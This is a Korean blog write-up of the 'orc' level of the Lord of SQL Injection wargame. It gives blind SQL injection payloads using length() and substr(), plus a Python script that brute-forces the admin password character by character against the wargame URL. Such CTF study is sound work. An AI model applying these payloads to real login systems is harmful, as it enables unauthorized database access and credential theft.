입력 값은 pw로 받음
리얼 데이터베이스에 있는 admin의 pw와
입력한 pw가 같아야함
Hint
Blind SQL Injection
length()
substr()
...더보기
length 함수를 사용해 pw의 길이를 알아낸다
query
pw=' or id='admin' and length(pw)>5%23
5보다 기냐고 하니 TRUE
pw의 길이는 8자리
substr을 사용해 첫번째 자리부터 하나하나 찾으면되는데
특수 문자+영어 대소문자+숫자종류 * pw을길이(8)
이 모든 경우의 수를 해보기엔
엄청 귀찮으니까 프록시 툴을 쓰거나
프로그래밍으로 풀어야한다
With Pothon
참고로 requests 모듈 필요
cookie값은 자신의 쿠키값으로 바꿔야함
import requests
url="https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw="
cookie={"PHPSESSID":"v1jh6l7v17maah6buvjeijc524"}
session=requests.Session()
password=""
for i in range(1,9):
for j in range(33, 127):
payload=session.get(url+"'or id='admin' and substr(pw,"+str(i)+",1)='"+chr(j)+"'%23",cookies=cookie)
if("Hello admin" in payload.text):
print(chr(j)+"is correct!!!!!!!")
password += chr(j)
break
print(chr(j)+"is incorrect")
print(password)
SQL은 대소문자 구분을 안하고
대문자든 소문자든 같다고 인식함
하지만 실제 데이터 베이스에는 대문자가 아니여서
클리어가 안되는 것 같음
'Wargame, CTF > LOS_eagle' 카테고리의 다른 글
LOS _dark elf (0) | 2019.10.05 |
---|---|
LOS _wolfman (0) | 2019.10.01 |
LOS _goblin (0) | 2019.10.01 |
LOS _cobolt (0) | 2019.10.01 |
LOS _gremlin (0) | 2019.10.01 |